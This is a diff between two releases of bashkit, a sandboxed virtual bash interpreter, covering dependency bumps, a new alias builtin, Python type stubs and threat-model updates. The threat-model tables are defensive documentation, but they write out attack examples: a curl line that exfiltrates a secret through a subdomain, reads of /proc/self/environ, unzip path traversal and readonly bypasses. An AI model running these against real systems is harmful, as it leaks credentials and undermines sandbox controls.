bashkit 0.1.10__tar.gz → 0.1.11__tar.gz

{bashkit-0.1.10 → bashkit-0.1.11}/Cargo.lock

@@ -190,9 +190,9 @@ checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8"
 
 [[package]]
 name = "aws-lc-rs"
-version = "1.16.1"
+version = "1.16.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "94bffc006df10ac2a68c83692d734a465f8ee6c5b384d8545a636f81d858f4bf"
+checksum = "a054912289d18629dc78375ba2c3726a3afe3ff71b4edba9dedfca0e3446d1fc"
 dependencies = [
  "aws-lc-sys",
  "zeroize",
@@ -200,9 +200,9 @@ dependencies = [
 
 [[package]]
 name = "aws-lc-sys"
-version = "0.38.0"
+version = "0.39.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4321e568ed89bb5a7d291a7f37997c2c0df89809d7b6d12062c81ddb54aa782e"
+checksum = "1fa7e52a4c5c547c741610a2c6f123f3881e409b714cd27e6798ef020c514f0a"
 dependencies = [
  "cc",
  "cmake",
@@ -218,7 +218,7 @@ checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
 
 [[package]]
 name = "bashkit"
-version = "0.1.10"
+version = "0.1.11"
 dependencies = [
  "anyhow",
  "async-trait",
@@ -256,7 +256,7 @@ dependencies = [
 
 [[package]]
 name = "bashkit-bench"
-version = "0.1.10"
+version = "0.1.11"
 dependencies = [
  "anyhow",
  "bashkit",
@@ -272,7 +272,7 @@ dependencies = [
 
 [[package]]
 name = "bashkit-cli"
-version = "0.1.10"
+version = "0.1.11"
 dependencies = [
  "anyhow",
  "bashkit",
@@ -285,7 +285,7 @@ dependencies = [
 
 [[package]]
 name = "bashkit-eval"
-version = "0.1.10"
+version = "0.1.11"
 dependencies = [
  "anyhow",
  "async-trait",
@@ -301,7 +301,7 @@ dependencies = [
 
 [[package]]
 name = "bashkit-js"
-version = "0.1.10"
+version = "0.1.11"
 dependencies = [
  "bashkit",
  "napi",
@@ -314,9 +314,10 @@ dependencies = [
 
 [[package]]
 name = "bashkit-python"
-version = "0.1.10"
+version = "0.1.11"
 dependencies = [
  "bashkit",
+ "num-bigint",
  "pyo3",
  "pyo3-async-runtimes",
  "serde_json",
@@ -1492,9 +1493,9 @@ dependencies = [
 
 [[package]]
 name = "itoa"
-version = "1.0.17"
+version = "1.0.18"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "92ecc6618181def0457392ccd0ee51198e065e016d1d527a7ac1b6dc7c1f09d2"
+checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682"
 
 [[package]]
 name = "jaq-core"
@@ -3261,7 +3262,6 @@ dependencies = [
  "bytes",
  "libc",
  "mio",
- "parking_lot",
  "pin-project-lite",
  "signal-hook-registry",
  "socket2",
@@ -4165,18 +4165,18 @@ dependencies = [
 
 [[package]]
 name = "zerocopy"
-version = "0.8.42"
+version = "0.8.47"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f2578b716f8a7a858b7f02d5bd870c14bf4ddbbcf3a4c05414ba6503640505e3"
+checksum = "efbb2a062be311f2ba113ce66f697a4dc589f85e78a4aea276200804cea0ed87"
 dependencies = [
  "zerocopy-derive",
 ]
 
 [[package]]
 name = "zerocopy-derive"
-version = "0.8.42"
+version = "0.8.47"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7e6cc098ea4d3bd6246687de65af3f920c430e236bee1e3bf2e441463f08a02f"
+checksum = "0e8bc7269b54418e7aeeef514aa68f8690b8c0489a06b0136e5f57c4c5ccab89"
 dependencies = [
  "proc-macro2",
  "quote",

{bashkit-0.1.10 → bashkit-0.1.11}/Cargo.toml

@@ -7,7 +7,7 @@ resolver = "2"
 members = ["crates/*"]
 
 [workspace.package]
-version = "0.1.10"
+version = "0.1.11"
 edition = "2024"
 license = "MIT"
 authors = ["Everruns"]
@@ -18,7 +18,9 @@ categories = ["command-line-utilities", "parser-implementations"]
 
 [workspace.dependencies]
 # Async runtime
-tokio = { version = "1", features = ["full"] }
+# Base features are WASM-compatible; crates needing more (rt-multi-thread, fs, net, process)
+# add them in their own Cargo.toml or via [target.'cfg(...)'.dependencies].
+tokio = { version = "1", features = ["sync", "macros", "io-util", "rt", "time"] }
 async-trait = "0.1"
 futures = "0.3"
 

{bashkit-0.1.10 → bashkit-0.1.11}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: bashkit
-Version: 0.1.10
+Version: 0.1.11
 Classifier: Development Status :: 4 - Beta
 Classifier: Intended Audience :: Developers
 Classifier: License :: OSI Approved :: MIT License
@@ -47,7 +47,7 @@ print(result.stdout)  # Hello, World!
 ## Features
 
 - **Sandboxed execution** — all commands run in-process with a virtual filesystem, no containers needed
-- **100+ built-in commands** — echo, cat, grep, sed, awk, jq, curl, find, and more
+- **150 built-in commands** — echo, cat, grep, sed, awk, jq, curl, find, and more
 - **Full bash syntax** — variables, pipelines, redirects, loops, functions, arrays
 - **Resource limits** — protect against infinite loops and runaway scripts
 - **Framework integrations** — LangChain, PydanticAI, and Deep Agents
@@ -179,7 +179,7 @@ print(result.stdout)  # Alice
 ## Features
 
 - **Sandboxed, in-process execution**: All commands run in isolation with a virtual filesystem
-- **100+ built-in commands**: echo, cat, grep, sed, awk, jq, curl, find, and more
+- **150 built-in commands**: echo, cat, grep, sed, awk, jq, curl, find, and more
 - **Full bash syntax**: Variables, pipelines, redirects, loops, functions, arrays
 - **Resource limits**: Protect against infinite loops and runaway scripts
 

{bashkit-0.1.10/crates/bashkit-python → bashkit-0.1.11}/README.md

@@ -15,7 +15,7 @@ print(result.stdout)  # Hello, World!
 ## Features
 
 - **Sandboxed execution** — all commands run in-process with a virtual filesystem, no containers needed
-- **100+ built-in commands** — echo, cat, grep, sed, awk, jq, curl, find, and more
+- **150 built-in commands** — echo, cat, grep, sed, awk, jq, curl, find, and more
 - **Full bash syntax** — variables, pipelines, redirects, loops, functions, arrays
 - **Resource limits** — protect against infinite loops and runaway scripts
 - **Framework integrations** — LangChain, PydanticAI, and Deep Agents
@@ -147,7 +147,7 @@ print(result.stdout)  # Alice
 ## Features
 
 - **Sandboxed, in-process execution**: All commands run in isolation with a virtual filesystem
-- **100+ built-in commands**: echo, cat, grep, sed, awk, jq, curl, find, and more
+- **150 built-in commands**: echo, cat, grep, sed, awk, jq, curl, find, and more
 - **Full bash syntax**: Variables, pipelines, redirects, loops, functions, arrays
 - **Resource limits**: Protect against infinite loops and runaway scripts
 

{bashkit-0.1.10 → bashkit-0.1.11}/bashkit/_bashkit.pyi

@@ -1,6 +1,16 @@
 """Type stubs for bashkit native module."""
 
-from typing import Any, Callable
+from collections.abc import Callable
+from typing import Any, Protocol
+
+class ExternalHandler(Protocol):
+    """Protocol for the external function handler passed to Bash.
+
+    Called when Monty Python code invokes a registered external function.
+    Must be an async callable with this exact signature.
+    """
+
+    async def __call__(self, fn_name: str, args: list[Any], kwargs: dict[str, Any]) -> Any: ...
 
 class Bash:
     """Core bash interpreter with virtual filesystem.
@@ -8,11 +18,21 @@ class Bash:
     State persists between calls — files created in one execute() are
     available in subsequent calls.
 
-    Example:
+    Example (basic):
         >>> bash = Bash()
         >>> result = await bash.execute("echo 'Hello!'")
         >>> print(result.stdout)
         Hello!
+
+    Example (Python execution with external function handler):
+        >>> async def handler(fn_name: str, args: list, kwargs: dict) -> Any:
+        ...     return await tool_executor.call(fn_name, kwargs)
+        >>> bash = Bash(
+        ...     python=True,
+        ...     external_functions=["api_request"],
+        ...     external_handler=handler,
+        ... )
+        >>> result = await bash.execute("python3 -c 'print(api_request(url=\"/data\"))'")
     """
 
     def __init__(
@@ -21,9 +41,13 @@ class Bash:
         hostname: str | None = None,
         max_commands: int | None = None,
         max_loop_iterations: int | None = None,
+        python: bool = False,
+        external_functions: list[str] | None = None,
+        external_handler: ExternalHandler | None = None,
     ) -> None: ...
     async def execute(self, commands: str) -> ExecResult: ...
     def execute_sync(self, commands: str) -> ExecResult: ...
+    def cancel(self) -> None: ...
     def reset(self) -> None: ...
 
 class ExecResult:
@@ -64,6 +88,7 @@ class BashTool:
     ) -> None: ...
     async def execute(self, commands: str) -> ExecResult: ...
     def execute_sync(self, commands: str) -> ExecResult: ...
+    def cancel(self) -> None: ...
     def description(self) -> str: ...
     def help(self) -> str: ...
     def system_prompt(self) -> str: ...

{bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/Cargo.toml

@@ -134,3 +134,7 @@ required-features = ["realfs"]
 [[example]]
 name = "realfs_readwrite"
 required-features = ["realfs"]
+
+# Additional tokio features needed only on native (not WASM)
+[target.'cfg(not(target_arch = "wasm32"))'.dependencies]
+tokio = { version = "1", features = ["rt-multi-thread", "fs"] }

{bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/README.md

@@ -98,7 +98,7 @@ assert_eq!(output.result["stdout"], "hello\nworld\n");
   </a>
 </div>
 
-## Built-in Commands (100+)
+## Built-in Commands (150)
 
 | Category | Commands |
 |----------|----------|
@@ -309,6 +309,11 @@ print(result.stdout)
 
 Bashkit is designed as a virtual interpreter with sandboxed execution for untrusted scripts. See the [security policy](SECURITY.md) for reporting vulnerabilities and the [threat model](specs/006-threat-model.md) for detailed analysis of 60+ identified threats.
 
+## Other Virtual Bash Implementations
+
+- **[just-bash](https://github.com/vercel-labs/just-bash)** (TypeScript, Apache-2.0) — Virtual bash interpreter for AI agents by Vercel Labs. Custom recursive descent parser, 75+ reimplemented commands (including full awk/sed/jq), in-memory VFS, defense-in-depth sandboxing, AST transform plugins. Runs in Node.js and browser.
+- **[gbash](https://github.com/ewhauser/gbash)** (Go, Apache-2.0) — Deterministic, sandbox-only bash runtime for AI agents. Delegates parsing to `mvdan/sh`. Registry-backed commands, policy enforcement, structured tracing, JSON-RPC server mode.
+
 ## Acknowledgments
 
 Bashkit is an independent implementation that draws design inspiration from several open source projects:

{bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/docs/compatibility.md

@@ -32,7 +32,7 @@ for sandbox security reasons. See the compliance spec for details.
 | Category | Count |
 |----------|-------|
 | Core & Navigation | 12 |
-| Flow Control & Variables | 21 |
+| Flow Control & Variables | 23 |
 | Shell | 7 |
 | Text Processing | 20 |
 | File Operations & Inspection | 17 |
@@ -40,7 +40,7 @@ for sandbox security reasons. See the compliance spec for details.
 | Utilities & System | 20 |
 | Network | 2 |
 | Experimental | 3 |
-| **Total** | **148** |
+| **Total** | **150** |
 
 ---
 
@@ -147,6 +147,8 @@ for sandbox security reasons. See the compliance spec for details.
 | `let` | `EXPR...` | Evaluate arithmetic |
 | `getopts` | `OPTSTRING NAME` | Parse positional parameters |
 | `caller` | `[FRAME]` | Display call stack frame |
+| `mapfile` | `-n`, `-O`, `-s`, `-t`, `-d` | Read lines into array |
+| `readarray` | `-n`, `-O`, `-s`, `-t`, `-d` | Alias for mapfile |
 | `shopt` | `-s`, `-u`, `-q` | Shell options |
 | `seq` | `[FIRST [INCR]] LAST` | Print number sequence |
 | `tac` | (none) | Reverse file lines |

{bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/docs/threat-model.md

@@ -49,7 +49,7 @@ through configurable limits.
 | Long filenames (TM-DOS-013) | 10KB filename | `max_filename_length` (255) + `max_path_length` (4096) | MITIGATED |
 | Many dir entries (TM-DOS-014) | 1M files in one dir | `max_file_count` | MITIGATED |
 | Unicode path attacks (TM-DOS-015) | RTL override in filename | `validate_path()` rejects control/bidi chars | MITIGATED |
-| TOCTOU append (TM-DOS-034) | Concurrent appends bypass limits | Single write lock | **OPEN** |
+| TOCTOU append (TM-DOS-034) | Concurrent appends bypass limits | Single write lock | **FIXED** |
 | OverlayFs upper-only check (TM-DOS-035) | `check_write_limits()` ignores lower layer | Combined limit accounting | **OPEN** |
 | OverlayFs double-count (TM-DOS-036) | `compute_usage()` counts overwritten files | Subtract overrides | **OPEN** |
 | OverlayFs chmod CoW bypass (TM-DOS-037) | chmod writes to unlimited upper | Route through `check_write_limits()` | **OPEN** |
@@ -104,6 +104,9 @@ through configurable limits.
 | Template output explosion (TM-DOS-053) | `{{#each}}` on large array | Bounded by `max_file_size` | MITIGATED |
 | glob ExtGlob blowup (TM-DOS-054) | `glob --files "+(a\|aa)"` | Same as TM-DOS-031 | **OPEN** |
 | split file count (TM-DOS-055) | `split -l 1 bigfile` | FS `max_file_count` limit | MITIGATED |
+| source self-recursion (TM-DOS-056) | Script that sources itself | Track source depth | **OPEN** |
+| sleep bypasses timeout (TM-DOS-057) | `sleep N` ignores `ExecutionLimits::timeout` | Implement tokio timeout wrapper | **OPEN** |
+| Unbounded builtin output (TM-DOS-058) | `seq 1 1000000` produces 1M lines | Add `max_stdout_bytes` limit | **OPEN** |
 
 **Configuration:**
 ```rust
@@ -146,7 +149,7 @@ Scripts may attempt to break out of the sandbox to access the host system.
 | Mount escape (TM-ESC-004) | Mount real paths | MountableFs controlled by caller | MITIGATED |
 | VFS limit bypass (TM-ESC-012) | `add_file()` skips limits | Restrict API visibility | **OPEN** |
 | OverlayFs upper() exposed (TM-ESC-013) | `upper()` returns unlimited FS | Restrict visibility | **OPEN** |
-| Custom builtins lost (TM-ESC-014) | `std::mem::take` empties builtins | Clone/Arc builtins | **OPEN** |
+| Custom builtins lost (TM-ESC-014) | `std::mem::take` empties builtins | Arc-cloned builtins | **FIXED** |
 
 **Process Escape:**
 
@@ -379,6 +382,9 @@ exfiltration by encoding secrets in subdomains (`curl https://$SECRET.example.co
 | Missing array prefix (TM-INJ-016) | `_ARRAY_READ_` not in guard | Add prefix to `is_internal_variable()` | **OPEN** |
 | Unzip path traversal (TM-INJ-017) | `unzip` with `../` entry names | Validate paths within extract base | **OPEN** |
 | Dotenv internal injection (TM-INJ-018) | `.env` with `_NAMEREF_x=target` | Add `is_internal_variable()` check | **OPEN** |
+| unset removes readonly (TM-INJ-019) | `readonly X=v; unset X` | Check readonly attribute in unset | **OPEN** |
+| declare overwrites readonly (TM-INJ-020) | `readonly X=v; declare X=new` | Check readonly attribute in declare | **OPEN** |
+| export overwrites readonly (TM-INJ-021) | `readonly X=v; export X=new` | Check readonly attribute in export | **OPEN** |
 
 **Variable Expansion:**
 
@@ -398,7 +404,26 @@ echo $user_input
 | Shared filesystem (TM-ISO-001) | Access other tenant files | Separate Bash instances | MITIGATED |
 | Shared memory (TM-ISO-002) | Read other tenant data | Rust memory safety | MITIGATED |
 | Resource starvation (TM-ISO-003) | One tenant exhausts limits | Per-instance limits | MITIGATED |
-| Cross-tenant jq env (TM-ISO-004) | `std::env::set_var()` in jq | Same fix as TM-INF-013 | **OPEN** |
+| Cross-tenant jq env (TM-ISO-004) | `std::env::set_var()` in jq | Custom jaq context variable | **FIXED** |
+| Cumulative counter bypass (TM-ISO-005) | Repeated `exec()` resets counters | Session-level counters | **OPEN** |
+| Memory budget exhaustion (TM-ISO-006) | Unbounded variable/array growth | Per-instance MemoryLimits | **OPEN** |
+| Alias leakage (TM-ISO-007) | Aliases from session A visible in B | Per-instance alias HashMap | MITIGATED |
+| Trap handler leakage (TM-ISO-008) | Trap from session A fires in B | Per-instance trap HashMap | MITIGATED |
+| Shell option leakage (TM-ISO-009) | `set -e` in session A affects B | Per-instance SHOPT_* variables | MITIGATED |
+| Exported env var leakage (TM-ISO-010) | `export` in session A visible in B | Per-instance env HashMap | MITIGATED |
+| Array leakage (TM-ISO-011) | Arrays cross sessions | Per-instance array HashMaps | MITIGATED |
+| Working directory leakage (TM-ISO-012) | `cd` in session A changes B's cwd | Per-instance `cwd` | MITIGATED |
+| Exit code leakage (TM-ISO-013) | `$?` from session A visible in B | Per-instance `last_exit_code` | MITIGATED |
+| Concurrent variable leakage (TM-ISO-014) | Race condition leaks vars | Per-instance state, no shared mutables | MITIGATED |
+| Concurrent FS leakage (TM-ISO-015) | Race condition leaks files | Separate `Arc<FileSystem>` per instance | MITIGATED |
+| Snapshot/restore side effects (TM-ISO-016) | `restore_shell_state()` affects others | Snapshot is per-instance | MITIGATED |
+| Adversarial variable probing (TM-ISO-017) | Enumerate common secret var names | Default-empty env, no host env inheritance | MITIGATED |
+| /proc /sys probing (TM-ISO-018) | Read `/proc/self/environ` | VFS has no real /proc or /etc | MITIGATED |
+| jq cross-session env (TM-ISO-019) | `jq 'env.X'` sees other vars | jaq reads from injected global | MITIGATED |
+| Subshell mutation leakage (TM-ISO-020) | Subshell vars leak to parent | Snapshot/restore + per-instance state | MITIGATED |
+| EXIT trap cross-exec leak (TM-ISO-021) | EXIT trap fires in next `exec()` | Reset traps in `reset_for_execution()` | **OPEN** |
+| `$?` cross-exec leak (TM-ISO-022) | Exit code from previous `exec()` visible | Reset `last_exit_code` | **OPEN** |
+| `set -e` cross-exec leak (TM-ISO-023) | Shell options persist across `exec()` | Reset shell options | **OPEN** |
 
 Each [`Bash`] instance is fully isolated. For multi-tenant environments, create
 separate instances per tenant:
@@ -434,6 +459,7 @@ All unexpected errors are caught and converted to safe, human-readable messages.
 | Path leak in errors (TM-INT-004) | Error shows real FS paths | Virtual paths only | MITIGATED |
 | Memory addr in errors (TM-INT-005) | Debug output shows addresses | Display impl hides addresses | MITIGATED |
 | Stack trace exposure (TM-INT-006) | Panic unwinds show call stack | `catch_unwind` prevents propagation | MITIGATED |
+| /dev/urandom empty with head -c (TM-INT-007) | `head -c 16 /dev/urandom` returns empty | Fix virtual device pipe handling | **OPEN** |
 
 **Panic Recovery:**
 

{bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/examples/custom_filesystem_impl.rs

@@ -6,7 +6,9 @@
 //!
 //! Run with: cargo run --example custom_filesystem_impl
 
-use bashkit::{Bash, DirEntry, Error, FileSystem, FileType, Metadata, Result, async_trait};
+use bashkit::{
+    Bash, DirEntry, Error, FileSystem, FileSystemExt, FileType, Metadata, Result, async_trait,
+};
 use std::collections::HashMap;
 use std::path::{Path, PathBuf};
 use std::sync::{Arc, RwLock};
@@ -101,6 +103,9 @@ impl SessionFileSystemAdapter {
 }
 
 // The async_trait macro is re-exported from bashkit for convenience
+#[async_trait]
+impl FileSystemExt for SessionFileSystemAdapter {}
+
 #[async_trait]
 impl FileSystem for SessionFileSystemAdapter {
     async fn read_file(&self, path: &Path) -> Result<Vec<u8>> {

bashkit-0.1.11/crates/bashkit/src/builtins/alias.rs

@@ -0,0 +1,109 @@
+//! Alias management builtins: alias, unalias
+//!
+//! Directly mutate aliases via [`ShellRef`](super::ShellRef).
+
+use async_trait::async_trait;
+
+use super::{Builtin, Context};
+use crate::error::Result;
+use crate::interpreter::ExecResult;
+
+/// `alias` builtin — define or display aliases.
+///
+/// Usage:
+/// - `alias` — list all aliases
+/// - `alias name` — show a specific alias
+/// - `alias name=value` — define an alias
+pub struct Alias;
+
+#[async_trait]
+impl Builtin for Alias {
+    async fn execute(&self, mut ctx: Context<'_>) -> Result<ExecResult> {
+        let Some(shell) = ctx.shell.as_mut() else {
+            return Ok(ExecResult::ok(String::new()));
+        };
+
+        if ctx.args.is_empty() {
+            // List all aliases
+            let mut sorted: Vec<_> = shell.aliases.iter().collect();
+            sorted.sort_by_key(|(k, _)| (*k).clone());
+            let mut output = String::new();
+            for (name, value) in sorted {
+                output.push_str(&format!("alias {}='{}'\n", name, value));
+            }
+            return Ok(ExecResult::ok(output));
+        }
+
+        let mut output = String::new();
+        let mut exit_code = 0;
+        let mut stderr = String::new();
+
+        for arg in ctx.args {
+            if let Some(eq_pos) = arg.find('=') {
+                // alias name=value — set directly
+                let name = &arg[..eq_pos];
+                let value = &arg[eq_pos + 1..];
+                shell.aliases.insert(name.to_string(), value.to_string());
+            } else {
+                // alias name — show the alias
+                if let Some(value) = shell.aliases.get(arg.as_str()) {
+                    output.push_str(&format!("alias {}='{}'\n", arg, value));
+                } else {
+                    stderr.push_str(&format!("bash: alias: {}: not found\n", arg));
+                    exit_code = 1;
+                }
+            }
+        }
+
+        Ok(ExecResult {
+            stdout: output,
+            stderr,
+            exit_code,
+            ..Default::default()
+        })
+    }
+}
+
+/// `unalias` builtin — remove alias definitions.
+///
+/// Usage:
+/// - `unalias name` — remove alias
+/// - `unalias -a` — remove all aliases
+pub struct Unalias;
+
+#[async_trait]
+impl Builtin for Unalias {
+    async fn execute(&self, mut ctx: Context<'_>) -> Result<ExecResult> {
+        let Some(shell) = ctx.shell.as_mut() else {
+            return Ok(ExecResult::err(
+                "bash: unalias: usage: unalias [-a] name [name ...]\n".to_string(),
+                2,
+            ));
+        };
+
+        if ctx.args.is_empty() {
+            return Ok(ExecResult::err(
+                "bash: unalias: usage: unalias [-a] name [name ...]\n".to_string(),
+                2,
+            ));
+        }
+
+        let mut exit_code = 0;
+        let mut stderr = String::new();
+
+        for arg in ctx.args {
+            if arg == "-a" {
+                shell.aliases.clear();
+            } else if shell.aliases.remove(arg.as_str()).is_none() {
+                stderr.push_str(&format!("bash: unalias: {}: not found\n", arg));
+                exit_code = 1;
+            }
+        }
+
+        Ok(ExecResult {
+            stderr,
+            exit_code,
+            ..Default::default()
+        })
+    }
+}